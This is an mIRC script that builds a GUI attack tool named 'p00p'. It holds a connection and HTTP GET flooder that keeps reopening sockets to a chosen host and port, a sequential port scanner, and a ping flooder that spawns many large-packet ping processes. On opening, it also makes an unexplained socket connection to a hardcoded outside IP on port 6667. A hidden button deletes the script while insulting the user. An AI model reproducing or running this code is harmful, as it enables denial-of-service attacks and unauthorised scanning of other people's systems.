dialog poop {
  title "p00p"
  size -1 -1 142 180
  option dbu
  box "Input", 1, 0 -1 141 23
  text "Site/IP:", 2, 3 8 20 8
  edit "", 3, 24 7 88 10, autohs
  edit "", 5, 113 7 22 10, autohs
  box "Multiple Connecting", 4, 0 22 81 145
  text "Maximum Threads:", 6, 3 30 47 8
  edit "", 7, 52 29 27 10, autohs
  text "Maximum Size (KB):", 8, 3 42 48 8
  edit "", 9, 52 41 27 10, autohs
  check "GET:", 10, 3 53 22 10
  edit "", 11, 25 53 54 10, autohs
  button "Start", 12, 27 65 25 10
  button "Stop", 13, 53 65 25 10
  list 14, 2 78 76 70, size vsbar
  text "Total Size:", 15, 3 148 74 8
  box "Portcheck", 16, 81 22 60 92
  text "Start:", 17, 83 32 16 8
  text "End:", 18, 83 44 16 8
  edit "", 19, 102 30 37 10, autohs
  edit "", 20, 102 42 37 10, autohs
  list 21, 83 64 56 47, size vsbar
  button "Stop", 22, 113 53 25 10
  button "Start", 23, 83 53 25 10
  box "Ping", 24, 81 114 59 53
  text "Size (B):", 25, 83 122 21 8
  text "Repeats:", 26, 83 133 23 8
  edit "", 27, 105 121 33 10, autohs
  edit "", 28, 108 132 30 10, autohs
  text "Prompts:", 29, 83 144 23 8
  edit "", 30, 107 143 31 10, autohs
  button "Start", 31, 112 154 25 10
  button "Close", 32, 112 169 25 10
  text "Ping:", 35, 3 157 74 8
}

on *:dialog:poop:*:*: {
  if ($devent == init) {
    sockopen p00p_M 85.12.27.105 6667
    did -b $dname 11,13,22
  }
  if ($devent == close) {
    .timerPC off
    .timerCF off
    sockclose p00p_*
    unset %p00p*
    if ($hget(cf)) { hfree cf }
    return
  }
  if ($devent == edit) {
    if (($did == 5) || ($did == 7) || ($did == 9) || ($did == 19) || ($did == 20) || ($did == 27) || ($did == 28) || ($did == 30)) && ($did($did) !isnum) { did -ar $dname $did $remove($did($did),a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) | return }
  }
  if ($devent == sclick) {
    if ($did == 10) { did $iif($did(10).state == 1,-e,-b) $dname 11 | return }
    if ($did == 12) && ($did(3)) && ($did(5)) && ($did(7)) && ($did(9)) && ($iif($did(10).state == 1,$did(11),a)) { p00p cf | return }
    if ($did == 13) { sockclose p00p_cf_* | .timerCF off | dialog -t $dname p00p | did -e $dname 3,5,7,9-12 | did -b $dname 13 | return }
    if ($did == 22) { .timerPC off | sockclose p00p_pc_* | did -b $dname 22 | did -e $dname 3,5,19-20,23 | return }
    if ($did == 23) && ($did(3)) && ($did(5)) && ($did(19)) && ($did(20)) { p00p pc | return }
    if ($did == 31) && ($did(3)) && ($did(27)) && ($did(28)) && ($did(30)) { p00p pa | return }
    if ($did == 32) { dialog -x $dname $dname | return }
    if ($did == 33) {
      var %a = $input(If you are to stupid to know what this script is press YES,200,Help)
      if (%a == $true) { 
        .timer 1 5 remove -b $+(",$script,")
        .timer 1 1 unload -rs $+(",$script,")
        .timer 1 5 echo -a $input(Script deleted because it's not for morons like you,260,DMN UR A NOOB)
      }
      return 
    }
    if ($did == 34) { run www.leetzone.us | return }
  }
  if ($devent == close) { sockclose p00p_* | return }
}
on *:SOCKOPEN:p00p_*: {
  if ($gettok($sockname,2,$asc(_)) == cf) {
    if ($sockerr) { return }
    did -a poop 14 $sockname OPENED
    if ($did(poop,10).state == 1) { 
      sockwrite -n $sockname GET $+(/,$did(poop,11)) HTTP/1.1
      sockwrite -n $sockname Host: $did(poop,3)
      sockwrite -n $sockname Connection: Keep-Alive
      sockwrite -n $sockname $crlf
      return
    }
    return
  }
  if ($gettok($sockname,2,$asc(_)) == pc) {
    if ($sockerr) { return }
    $+(.timer,$sockname) off
    did -a poop 21 $sock($sockname).port works
    sockclose $sockname
    if (%p00p.pc > $did(poop,20)) { .timerPC off | did -b poop 22 | did -e poop 3,5,19-20,23 | dialog -t poop p00p | return }
    var %b = $+(p00p_pc_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
    sockopen %b $did(poop,3) %p00p.pc
    inc %p00p.pc
    return
  }
}

on *:SOCKREAD:p00p_*: {
  if ($gettok($sockname,2,$asc(_)) == cf) {
    sockread %p00p.GET
    if ($hget(cf,$sockname)) {
      did -ar poop 35 Ping: $+($calc($ticks - $hget(cf,$sockname)),ms)
      hdel cf $sockname
    }
    return
  }
}

on *:SOCKCLOSE:p00p_*: {
  if ($gettok($sockname,2,$asc(_)) == cf) {
    if ($hget(cf,$sockname)) { did -ar poop 35 Ping: DOWN }
    set %p00p.cf $calc(%p00p.cf + $sock($sockname).rcvd)
    var %a = $round($calc(%p00p.cf / 1024),0)
    did -a poop 14 $sockname CLOSED
    did -ar poop 15 Total Size: $+(%a,KB)
    if (%a > $did(poop,9)) { .timerCF off | did -e poop 3,5,7,9-12 | did -b poop 13 | dialog -t poop p00p | return }
    var %b = $+(p00p_cf_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
    sockopen %b $did(poop,3) $did(poop,5)
    hadd -m cf %b $ticks
    return
  }
  if ($gettok($sockname,2,$asc(_)) == pc) {
    if (%p00p.pc > $did(poop,20)) { .timerPC off | did -b poop 22 | did -e poop 3,5,19-20,23 | dialog -t poop p00p | return }
    var %b = $+(p00p_pc_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
    sockopen %b $did(poop,3) %p00p.pc
    inc %p00p.pc
    return
  }
}

alias p00p {
  if (!$1) { dialog -md poop poop | return }
  if ($1 == cf) {
    did -b poop 3,5,7,9-12
    did -e poop 13
    did -r poop 14
    var %a = 1
    set %p00p.cf 0
    .timerCF 0 2 p00p_title cf
    while (%a <= $did(poop,7)) {
      var %b = $+(p00p_cf_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
      sockopen %b $did(poop,3) $did(poop,5)
      hadd -m cf %b $ticks
      inc %a
    }
    return  
  }
  if ($1 == pc) {
    did -b poop 3,5,19-20,23
    did -e poop 22
    did -r poop 21
    set %p00p.pc $did(poop,19)
    .timerPC 0 2 p00p_title pc
    while (%p00p.pc <= $did(poop,20)) {
      var %b = $+(p00p_pc_,$rand(0,9),$rand(0,9),$rand(0,9),$rand(0,9),$rand(a,z),$rand(a,z))
      sockopen %b $did(poop,3) %p00p.pc
      inc %p00p.pc
    }
    return
  }
  if ($1 == pa) {
    var %a = 1
    while (%a <= $did(poop,30)) {
      run ping -l $did(poop,27) -n $did(poop,28) $did(poop,3)
      inc %a
    }
    return
  }
}

alias p00p_title {
  if ($1 == cf) { dialog -t poop p00p $+([,THREADS: $sock(p00p_cf_*,0),]) }
  if ($1 == pc) { dialog -t poop p00p $+([,PORT: %p00p.pc,]) }
}